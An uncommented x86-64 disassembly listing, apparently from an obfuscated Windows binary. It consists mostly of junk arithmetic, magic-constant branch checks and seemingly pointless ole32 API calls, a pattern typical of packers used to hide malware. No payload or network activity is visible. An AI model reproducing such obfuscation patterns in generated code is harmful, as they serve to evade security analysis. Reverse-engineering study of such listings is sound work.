cmp dword [rsp + 0x1af4], 0
je 0x1400053e5
jmp 0x1400d859f
movsx eax, byte [0x1400f3008]
sub eax, 0x3c
mov byte [0x1400f3008], al
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0xc9]
add ecx, edx
cmp eax, ecx
jne 0x1400d84ae
movsx eax, byte [0x1400f3008]
cmp eax, 0x42
jne 0x140005563
mov eax, dword [rsp + 0x1aa8]
mov dword [rsp + 0x1af8], eax
cmp dword [rsp + 0x1af8], 0xb05482f
je 0x140005457
jmp 0x14000553f
mov rax, qword [rsp + 0x3320]
mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3318]
mov rcx, qword [rsp + 0x32b0]
mov qword [rsp + 0x3390], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3390]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3290], rax
mov eax, dword [rsp + 0x1858]
mov dword [rsp + 0x1afc], eax
cmp dword [rsp + 0x1afc], 0x85fef32
je 0x1400054cf
cmp dword [rsp + 0x1afc], 0x783f6f67
je 0x140005520
jmp 0x14000553d
mov eax, dword [rsp + 0x1aa8]
mov ecx, dword [rsp + 0x1a98]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3378]
mov dword [rcx], eax
mov edx, 1
lea rcx, [rsp + 0x3330]
call qword [sym.imp.ole32.dll_OleGetIconOfFile]
mov qword [rsp + 0x3398], rax
movzx edx, byte [0x1400f3008]
mov rax, qword [rsp + 0x3330]
movzx ecx, word [rax]
call fcn.1400d9420
nop
jmp 0x14000553d
mov rax, qword [rsp + 0x32f8]
mov rcx, qword [rsp + 0x32e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1858], eax
jmp 0x140005563
mov rax, qword [rsp + 0x3370]
mov rcx, qword [rsp + 0x3300]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3290]
mov qword [rsp + 0x33a0], rax
cmp qword [rsp + 0x33a0], 0
je 0x14000559b
movabs rax, 0xea52d91a30df9076
cmp qword [rsp + 0x33a0], rax
je 0x140005628
jmp 0x14000573d
movzx eax, byte [0x1400f3008]
mov byte [rsp + 0x1b00], al
cmp byte [rsp + 0x1b00], 0xe2
je 0x1400055bf
cmp byte [rsp + 0x1b00], 9
je 0x140005603
jmp 0x140005623
mov eax, 0x1804
mov word [0x1400f3f14], ax
mov dword [rsp + 0x1b04], 0x6063
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc9]
add eax, ecx
mov byte [rsp + 0xca], al
movzx eax, word [0x1400f3f14]
mov word [rsp + 0x7a4], ax
jmp 0x140005623
movzx eax, word [rsp + 0x770]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
jmp 0x14000573d
mov eax, dword [rsp + 0x1a84]
mov dword [rsp + 0x1b08], eax
cmp dword [rsp + 0x1b08], 0x5d5ddcea
je 0x140005659
cmp dword [rsp + 0x1b08], 0xb2851ca9
je 0x140005728
jmp 0x14000573d
mov rax, qword [rsp + 0x3368]
mov rcx, qword [rsp + 0x3318]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3290], rax
mov r8d, 0xa1
lea rdx, [rsp + 0x3310]
lea rcx, [rsp + 0x14700]
call qword [sym.imp.ole32.dll_StringFromGUID2]
mov dword [rsp + 0x1b0c], eax
movzx eax, byte [rsp + 0xca]
movzx ecx, byte [rsp + 0xc8]
sub eax, ecx
mov rcx, qword [rsp + 0x3328]
mov byte [rcx], al
lea rax, [rsp + 0x3398]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1ad4]
mov r8d, SHSetInstanceExplorer
mov edx, 0x8e
mov ecx, 0xcb
call qword [sym.imp.ole32.dll_CoWaitForMultipleHandles]
mov dword [rsp + 0x1b10], eax
mov rax, qword [rsp + 0x3378]
mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1a98], eax
mov rax, qword [rsp + 0x32d8]
mov rcx, qword [rsp + 0x3370]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3300]
mov qword [rcx], rax
jmp 0x14000573d
movzx edx, byte [0x1400f3008]
movzx ecx, word [rsp + 0x770]
call fcn.1400d9420
nop
movsx eax, word [rsp + 0x7a4]
add eax, 0x168a
movsx ecx, word [0x1400f3f14]
cmp eax, ecx
jg 0x14000578a
mov rax, qword [rsp + 0x32e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x32f8]
mov qword [rsp + 0x33a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x33a8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1a84], eax
jmp 0x140005902
mov rax, qword [rsp + 0x32b0]
mov rcx, qword [rsp + 0x3368]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x3290]
mov rdx, qword [rsp + 0x3318]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
jbe 0x140005902
mov rax, qword [rsp + 0x32d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32b0]
mov qword [rsp + 0x33b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x33b0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x3368]
mov qword [rcx], rax
movzx eax, word [rsp + 0x770]
mov dword [rsp + 0x1b14], eax
cmp dword [rsp + 0x1b14], 0xae6
je 0x1400058e2
cmp dword [rsp + 0x1b14], 0xc0e
je 0x14000582b
jmp 0x140005902
mov eax, dword [rsp + 0x1a84]
mov ecx, dword [section..data]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32d0]
mov rax, qword [rax]
mov qword [rsp + 0x33b8], rax
movabs rax, 0x91e8900e800cc843
cmp qword [rsp + 0x33b8], rax
je 0x14000586f
jmp 0x1400058bc
call qword [sym.imp.ole32.dll_CoRevokeMallocSpy]
mov dword [rsp + 0x1a78], eax
lea rdx, [rsp + 0x32b0]
lea rcx, [rsp + 0x146f0]
call qword [sym.imp.ole32.dll_CoGetObjectContext]
mov dword [rsp + 0x1b18], eax
mov rax, qword [rsp + 0x3370]
mov rcx, qword [rsp + 0x3300]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x32a8], rax
jmp 0x1400058e0
mov rax, qword [rsp + 0x32d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3310]
mov qword [rcx], rax
jmp 0x140005902
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x770], ax
movzx eax, word [rsp + 0x770]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
cmp eax, ecx
jne 0x140005ab5
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [rsp + 0x1858]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x32f8]
mov edx, dword [rsp + 0x1a84]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jae 0x1400059ce
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3388]
mov byte [rcx], al
mov rax, qword [rsp + 0x3320]
mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3378]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x146f0]
call qword [sym.imp.ole32.dll_CoLockObjectExternal]
mov dword [rsp + 0x1adc], eax
mov rax, qword [rsp + 0x32b0]
mov rcx, qword [rsp + 0x3368]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x3290], rax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov dword [rsp + 0x1b1c], eax
cmp dword [rsp + 0x1b1c], 0
je 0x1400059ef
jmp 0x140005a90
lea rax, [rsp + 0x1a84]
mov qword [rsp + 0x33c0], rax
lea rax, [rsp + 0x32a8]
mov qword [rsp + 0x33c8], rax
movzx eax, byte [rsp + 0xca]
movzx ecx, byte [rsp + 0xc8]
sar eax, cl
movzx ecx, byte [rsp + 0xc9]
mov dword [rsp + 0x1b20], ecx
mov rdx, qword [rsp + 0x32b8]
movzx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x1b20]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140005a8e
mov rax, qword [rsp + 0x3300]
mov rax, qword [rax]
mov qword [rsp + 0x33d0], rax
movabs rax, 0x1114dfcf3490bfb7
cmp qword [rsp + 0x33d0], rax
je 0x140005a76
jmp 0x140005a8e
mov rax, qword [rsp + 0x3300]
mov rdx, qword [rax]
movzx ecx, byte [0x1400f3008]
call fcn.1400d9280
nop
jmp 0x140005ab3
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
jmp 0x140005b09
movsx eax, word [rsp + 0x7a4]
add eax, 0x1068
movsx ecx, word [0x1400f3f14]
cmp eax, ecx
jge 0x140005b09
lea rdx, [rsp + 0x146b0]
lea rcx, [rsp + 0x1ab8]
call qword [sym.imp.ole32.dll_CoUnmarshalHresult]
mov dword [rsp + 0x1b24], eax
mov r8d, dword [section..data]
movzx edx, word [rsp + 0x7a4]
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [rax]
call fcn.1400d8af0
nop
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov word [rsp + 0x7a8], ax
lea rax, [rsp + 0x7a4]
mov qword [rsp + 0x33d8], rax
movzx eax, word [rsp + 0x770]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7a8], ax
mov rax, qword [rsp + 0x3368]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3318]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3290], rax
mov rax, qword [rsp + 0x33c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3300]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1a98]
mov dword [rsp + 0x1b0c], eax
mov rax, qword [rsp + 0x33c0]
mov rcx, qword [rsp + 0x32e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x32f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1ab4]
sub eax, 0xcf
mov dword [rsp + 0x1ab4], eax
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [rsp + 0x1a84]
mov eax, dword [rax]
sub eax, ecx
mov dword [section..data], eax
movsx eax, word [rsp + 0x7a4]
movsx ecx, word [0x1400f3f14]
add eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc9]
movzx ecx, byte [rsp + 0xc8]
sub eax, ecx
mov rcx, qword [rsp + 0x3328]
mov byte [rcx], al
movsx eax, word [0x1400f3f14]
movsx ecx, word [rsp + 0x7a4]
and eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3388]
mov byte [rcx], al
movzx eax, byte [rsp + 0xc9]
mov rcx, qword [rsp + 0x3328]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x32a0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1a98]
mov ecx, dword [rsp + 0x1aa8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1858]
mov ecx, dword [rsp + 0x1a84]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32a8]
mov rcx, qword [rsp + 0x3370]
mov qword [rsp + 0x33e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x33e0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
cmp dword [rsp + 0x1ab4], 0x751d
ja 0x140005b2c
mov rax, qword [rsp + 0x32d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3290]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
movsx ecx, word [0x1400f3f14]
and eax, ecx
mov word [rsp + 0x7a4], ax
movzx eax, word [rsp + 0x770]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
movsx ecx, word [0x1400f3f14]
add eax, ecx
mov word [rsp + 0x7a4], ax
movzx eax, word [rsp + 0x770]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7a8], ax
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7a4]
add eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3378]
mov rcx, qword [rsp + 0x3320]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1a98], eax
mov rax, qword [rsp + 0x3290]
mov rcx, qword [rsp + 0x3318]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1858], eax
mov rax, qword [rsp + 0x3300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3328]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xca]
or eax, ecx
mov rcx, qword [rsp + 0x32a0]
mov byte [rcx], al
movzx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x3388]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3318]
mov rcx, qword [rsp + 0x3290]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x7a8], ax
movsx eax, word [0x1400f3f14]
mov rcx, qword [rsp + 0x33d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7a4], ax
mov eax, dword [rsp + 0x1ac0]
sub eax, 0x49
mov dword [rsp + 0x1ac0], eax
mov rax, qword [rsp + 0x3368]
mov rcx, qword [rsp + 0x32d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x32b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1858]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a84], eax
cmp dword [rsp + 0x1ac0], 0x3920
jae 0x140005cf7
mov eax, dword [rsp + 0x1aa8]
mov ecx, dword [rsp + 0x1b0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a98], eax
mov rax, qword [rsp + 0x3300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x33c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
movsx ecx, word [0x1400f3f14]
sub eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x3388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc9], al
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x770], ax
mov rax, qword [rsp + 0x3388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc9]
sub eax, ecx
mov rcx, qword [rsp + 0x32a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3310]
mov rcx, qword [rsp + 0x32d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x32a8], rax
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [0x1400f3004]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x32f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3300]
mov rcx, qword [rsp + 0x33c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x32a8], rax
mov rax, qword [rsp + 0x3368]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3318]
shr rax, cl
mov qword [rsp + 0x3290], rax
mov rax, qword [rsp + 0x3320]
mov rcx, qword [rsp + 0x3378]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
movzx eax, word [rsp + 0x770]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x3388]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xc9], al
movzx eax, byte [rsp + 0xc8]
movzx ecx, byte [rsp + 0xc9]
sub eax, ecx
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
movsx ecx, word [0x1400f3f14]
add eax, ecx
mov word [rsp + 0x7a4], ax
mov eax, dword [rsp + 0x1b0c]
mov ecx, dword [rsp + 0x1aa8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3318]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3290], rax
mov rax, qword [rsp + 0x3310]
mov rcx, qword [rsp + 0x32d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x32a8], rax
mov rax, qword [rsp + 0x33c0]
mov rcx, qword [rsp + 0x32e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x32f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1b0c]
mov ecx, dword [0x1400f3f10]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
movsx eax, word [0x1400f3f14]
mov rcx, qword [rsp + 0x33d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x7a8], ax
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3328]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
movsx ecx, word [0x1400f3f14]
or eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc9]
sar eax, cl
mov byte [rsp + 0xca], al
mov eax, dword [rsp + 0x1aa8]
mov ecx, dword [rsp + 0x1a98]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b0c], eax
mov rax, qword [rsp + 0x3368]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3318]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x33c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3310]
mov qword [rcx], rax
mov rax, qword [rsp + 0x33c0]
mov ecx, dword [rsp + 0x1a84]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x770]
add eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
movsx eax, word [0x1400f3f14]
movsx ecx, word [rsp + 0x7a4]
and eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3328]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xca]
add eax, ecx
mov byte [rsp + 0xc9], al
movsx eax, word [rsp + 0x7a4]
movsx ecx, word [0x1400f3f14]
sub eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x32e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a84]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x33c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3370]
mov rcx, qword [rsp + 0x3300]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x32a8], rax
mov rax, qword [rsp + 0x33c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x32e0]
mov qword [rsp + 0x33e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x33e8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1aa8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1858]
or ecx, eax
mov eax, ecx
mov dword [0x1400f3004], eax
movzx eax, byte [rsp + 0xca]
movzx ecx, byte [rsp + 0xc9]
shl eax, cl
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xca]
movzx ecx, byte [rsp + 0xc8]
and eax, ecx
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
movsx ecx, word [0x1400f3f14]
add eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x770]
sub eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
movzx eax, word [rsp + 0x770]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7a8], ax
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1aa8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32b0]
mov rcx, qword [rsp + 0x3290]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3318], rax
mov eax, dword [rsp + 0x1acc]
add eax, 0x21
mov dword [rsp + 0x1acc], eax
mov rax, qword [rsp + 0x32f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a84]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1858], eax
mov rax, qword [rsp + 0x32f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a84]
sub ecx, eax
mov eax, ecx
mov dword [section..data], eax
movsx eax, word [rsp + 0x7a4]
movsx ecx, word [0x1400f3f14]
add eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc8]
movzx ecx, byte [rsp + 0xca]
add eax, ecx
mov rcx, qword [rsp + 0x32a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3328]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3328]
mov byte [rcx], al
cmp dword [rsp + 0x1acc], 0x7a69
jbe 0x140005f44
movzx eax, word [rsp + 0x770]
mov word [rsp + 0x7ac], ax
lea rax, [rsp + 0x7a4]
mov qword [rsp + 0x33f0], rax
mov rax, qword [rsp + 0x32d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3290]
shl rax, cl
mov qword [rsp + 0x3318], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x1a84]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1858], eax
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3378]
mov qword [rsp + 0x33f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x33f8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x1aa8], eax
mov rax, qword [rsp + 0x32d8]
mov rcx, qword [rsp + 0x3310]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x32a8], rax
mov eax, dword [rsp + 0x1a84]
mov ecx, dword [rsp + 0x1858]
sub ecx, eax
mov eax, ecx
mov dword [section..data], eax
movzx eax, word [rsp + 0x770]
movzx ecx, word [rsp + 0x7ac]
add eax, ecx
mov word [rsp + 0x7a8], ax
movsx eax, word [rsp + 0x7a4]
mov rcx, qword [rsp + 0x33d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
add eax, ecx
mov rcx, qword [rsp + 0x3388]
mov byte [rcx], al
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x32d0]
mov rcx, qword [rsp + 0x32b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x32d0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1aa4]
sub eax, 0x41
mov dword [rsp + 0x1aa4], eax
mov rax, qword [rsp + 0x3320]
mov ecx, dword [rsp + 0x1b0c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1a98], eax
mov eax, dword [rsp + 0x1858]
mov ecx, dword [rsp + 0x1a84]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x32a8]
sar rax, cl
mov rcx, qword [rsp + 0x33c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3388]
mov byte [rcx], al
movzx eax, word [rsp + 0x770]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
cmp dword [rsp + 0x1aa4], 0x7a29
jae 0x140006561
mov eax, dword [rsp + 0x1aa8]
mov dword [rsp + 0x1b28], eax
cmp dword [rsp + 0x1b28], 0
je 0x1400067a1
jmp 0x1400068b7
lea rax, [rsp + 0x7a4]
mov qword [rsp + 0x3400], rax
movzx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x32a8]
mov qword [rsp + 0x3408], rax
cmp qword [rsp + 0x3408], 0
je 0x1400067f0
jmp 0x140006887
mov rax, qword [rsp + 0x3368]
mov rax, qword [rax]
mov qword [rsp + 0x3410], rax
cmp qword [rsp + 0x3410], 0
je 0x140006824
movabs rax, 0xbb606f921083c834
cmp qword [rsp + 0x3410], rax
je 0x140006868
jmp 0x140006885
lea rax, [rsp + 0x3290]
mov qword [rsp + 0x3418], rax
